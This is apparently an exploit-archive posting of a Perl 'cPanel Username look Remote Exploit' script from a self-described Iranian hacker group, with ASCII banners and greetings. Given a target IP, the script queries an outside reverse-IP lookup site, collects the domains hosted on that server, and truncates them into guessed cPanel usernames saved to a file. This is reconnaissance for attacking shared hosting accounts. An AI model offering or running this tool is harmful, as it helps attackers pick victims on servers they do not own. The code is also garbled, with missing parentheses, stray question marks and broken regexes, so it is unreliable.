cPanel Username look Remote Exploit

===================================
cPanel Username look Remote Exploit
===================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#######################[In The Name Of God ]##########################
#Exploit Title ? ? ? ?: ?cPanel Username look Remote Exploit
#Author ? ? ? ? ? ? ? : ? PHC.IR
#Contact ? ? ? ? ? ? ?: [email protected] ?
#Location ? ? ? ? ? ? : ?Iran
#Code ? ? ? ? ? ? ? ? : ?[exploit code]
########################################################################


#!/usr/bin/perl
#############################################
# Phc-Persian Hackerz Community-Security Team 
###########################################
use LWP::Simple;
print "
****************************************************
cPanel Username look up Keep priv8 ? *
****************************************************
* Phc-Persian Hackerz Community-Security Team    *
* -------------------------------------------      *
* by PHC.IR ? ?>>>>>>>>>>> (Net.Edit0r )        *
* -----------------------------------------------  *
* Greetz to : admin ~ M.Prince ~ N20 ~ inj3ct0r   *
****************************************************";
print "\n\nTarget to look up -> ";
chomp ($ip = <> ;
print "Output -> ";
chomp ($out = <> ;
print "\n[~] Save & Data ....\n";
sleep(1);
$URL = "http://www.dedicatedornot.com/xml/".$ip;
$content = get($URL);
@name = split(/<sites>/,$content);
$name = @name[1];
@name = split(/<\/sites>/,$name);
$name = @name[0];
$name =~ s/<site>//g;
$name =~ s/<\/site>//g;
$name =~ s/www^.//g;
$name =~ s/^.com//g;
$name =~ s/^\s+//g;
open(IP,">site.txt" ;
print IP "$name";
close(IP);
sleep(1);

print "[~] Parsing Data ...\n";
chomp ($data_file = "site.txt" ;
sleep(1);
open(DAT, $data_file) || die("Could not open file!" ;
@raw_data=<DAT>;?

foreach $res (@raw_data)
{
chomp($res);
$line=$res;
my $new_line = ?substr( $line, 0,10);
#my $new_line=$line;
$new_line =~ s/\.//g;
$new_line =~ s/^\s+//g;
?
open(DA, ">>$out" || print "Can't Open File. Try chmod 777 directory<br><br>";
print DA "$new_line\n";
close(DA);
} open(add,">>$out" ;print add "Tnx to Net.Edit0r";close(add);
print "[~] Done .\n"
########################################################################
#Greetz       : admin ~ M.Prince ~ N20 ~ inj3ct0r ~ AGT ~ H4M3D ~ reglight
#Note : IRANIAN ?HackerZ
########################################################################
#www.phc.ir (Phc-Persian Hackerz Community-Security Team)
###########################[Net.Edit0r]#################################



#  0day.today [2018-03-14]  #